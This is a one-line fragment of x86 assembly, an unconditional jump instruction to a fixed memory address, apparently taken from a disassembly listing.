jmp 0x477a60